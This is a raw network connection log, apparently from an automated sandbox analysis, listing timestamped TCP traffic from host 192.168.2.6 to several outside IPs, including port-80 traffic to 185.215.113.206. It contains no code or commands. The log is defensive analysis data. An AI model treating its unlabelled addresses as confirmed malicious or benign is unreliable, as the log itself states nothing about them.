Oct 30, 2024 04:34:15.588871002 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.588901043 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.588901997 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.588936090 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.588936090 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.588968992 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.588973045 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.589003086 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.589005947 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.589039087 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.589040995 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.589072943 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.589073896 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.589107037 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.589108944 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.589143991 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.589154959 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.589186907 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.589189053 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.589222908 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.589222908 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.589258909 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.656218052 CET	49715	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.656243086 CET	443	49715	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.656258106 CET	49715	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.656264067 CET	443	49715	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.659696102 CET	49718	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.659750938 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.659816980 CET	49718	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.663165092 CET	49719	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.663197994 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.663256884 CET	49719	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.664458990 CET	49720	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.664500952 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.664800882 CET	49720	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.666548014 CET	49718	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.666563034 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.668294907 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.668320894 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.668371916 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.668926954 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.668942928 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.669019938 CET	49719	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.669034958 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.670250893 CET	49720	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.670267105 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.673414946 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.673432112 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.673489094 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.674247026 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.674259901 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.987924099 CET	443	49717	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:15.988054991 CET	49717	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:15.990535021 CET	49717	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:15.990552902 CET	443	49717	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:15.990834951 CET	443	49717	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:15.992669106 CET	49717	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:15.992737055 CET	49717	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:15.992747068 CET	443	49717	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:15.992932081 CET	49717	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:16.039340019 CET	443	49717	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:16.239651918 CET	443	49717	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:16.240123987 CET	49717	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:16.240144968 CET	443	49717	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:16.240165949 CET	49717	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:16.240242958 CET	49717	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:16.400202036 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.400794983 CET	49718	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.400856018 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.401247978 CET	49718	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.401268005 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.401704073 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.401926994 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.402221918 CET	49720	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.402244091 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.402698994 CET	49720	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.402705908 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.403088093 CET	49719	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.403115034 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.403491974 CET	49719	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.403497934 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.406282902 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.409200907 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.409213066 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.409598112 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.409601927 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.420094967 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.431066990 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.431097031 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.431880951 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.431886911 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.481967926 CET	49674	443	192.168.2.6	173.222.162.64
Oct 30, 2024 04:34:16.481977940 CET	49673	443	192.168.2.6	173.222.162.64
Oct 30, 2024 04:34:16.531380892 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.531589031 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.531608105 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.531750917 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.531946898 CET	49718	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.531963110 CET	49720	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.532391071 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.532510042 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.532556057 CET	49719	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.536690950 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.537223101 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.537277937 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.546173096 CET	49718	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.546191931 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.546202898 CET	49718	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.546210051 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.548377037 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.548377037 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.548404932 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.548419952 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.549083948 CET	49720	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.549101114 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.549113035 CET	49720	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.549123049 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.549948931 CET	49719	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.549974918 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.549987078 CET	49719	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.549993038 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.554913998 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.554955959 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.555025101 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.555644035 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.555660963 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.558438063 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.558492899 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.558584929 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.558716059 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.558729887 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.559232950 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.559436083 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.559504986 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.560373068 CET	49725	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.560415030 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.560473919 CET	49725	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.560975075 CET	49726	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.560997009 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.561047077 CET	49726	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.561182022 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.561194897 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.561204910 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.561208963 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.562887907 CET	49725	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.562906981 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.562993050 CET	49726	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.563005924 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.564299107 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.564310074 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.564414978 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.564709902 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:16.564723969 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:16.810085058 CET	49672	443	192.168.2.6	173.222.162.64
Oct 30, 2024 04:34:17.291553020 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.292503119 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.295900106 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.306917906 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.308218956 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.331782103 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.331808090 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.334017992 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.334033012 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.336194992 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.336210012 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.336649895 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.336654902 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.337116957 CET	49726	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.337131023 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.337280035 CET	49725	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.337316036 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.337625980 CET	49726	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.337631941 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.338469982 CET	49725	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.338483095 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.340197086 CET	49731	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:17.340228081 CET	443	49731	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:17.340307951 CET	49731	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:17.340583086 CET	49731	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:17.340599060 CET	443	49731	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:17.340745926 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.340764046 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.341185093 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.341193914 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.463326931 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.463447094 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.463512897 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.465845108 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.465857029 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.465867043 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.465913057 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.465924025 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.465976954 CET	49725	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.466053963 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.466084003 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.466665030 CET	49726	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.467457056 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.467675924 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.467804909 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.517749071 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.517749071 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.517772913 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.517786980 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.532316923 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.532345057 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.532360077 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.532366991 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.533487082 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.533487082 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.533520937 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.533539057 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.534652948 CET	49726	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.534652948 CET	49726	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.534667015 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.534674883 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.535424948 CET	49725	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.535434008 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.535461903 CET	49725	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.535470009 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.542093039 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.542128086 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.542198896 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.542504072 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.542543888 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.542742014 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.544033051 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.544047117 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.544107914 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.545005083 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.545017958 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.545135021 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.545152903 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.547172070 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.547183990 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.547604084 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.548316002 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.548326969 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.548783064 CET	49736	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.548816919 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.548876047 CET	49736	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.549139023 CET	49736	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.549155951 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.581605911 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:17.581634045 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:17.689059973 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:17.689116955 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:17.689182043 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:17.691277027 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:17.691307068 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:17.725140095 CET	49738	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:17.725189924 CET	443	49738	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:17.725343943 CET	49738	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:17.725637913 CET	49738	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:17.725650072 CET	443	49738	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:17.876766920 CET	49741	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:17.876833916 CET	443	49741	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:17.876888990 CET	49741	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:17.877481937 CET	49741	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:17.877502918 CET	443	49741	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.194530010 CET	443	49731	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.194996119 CET	49731	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.195012093 CET	443	49731	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.196578026 CET	443	49731	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.196659088 CET	49731	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.197704077 CET	49731	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.197797060 CET	443	49731	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.197959900 CET	49731	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.197968006 CET	443	49731	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.246417999 CET	49731	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.276832104 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.278968096 CET	49736	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.278990984 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.279701948 CET	49736	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.279707909 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.287026882 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.291683912 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.291696072 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.292198896 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.292203903 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.295870066 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.296413898 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.296422958 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.296727896 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.296736002 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.312536001 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.313026905 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.313049078 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.313477039 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.313483000 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.324436903 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.324847937 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.324857950 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.325252056 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.325256109 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.405352116 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.405492067 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.405668020 CET	49736	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.405725002 CET	49736	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.405730009 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.405750036 CET	49736	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.405752897 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.408256054 CET	49742	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.408267021 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.408387899 CET	49742	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.408520937 CET	49742	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.408531904 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.419080019 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.419148922 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.419693947 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.420474052 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.420474052 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.420486927 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.420496941 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.427041054 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.427052975 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.427098036 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.427563906 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.427572966 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.432023048 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.432173967 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.432245016 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.432410002 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.432410955 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.432418108 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.432425976 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.435877085 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.435889959 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.435946941 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.436213017 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.436219931 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.441843033 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.442056894 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.442106009 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.442389965 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.442394972 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.442406893 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.442410946 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.444756031 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.444763899 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.444871902 CET	49745	443	192.168.2.6	13.107.246.45
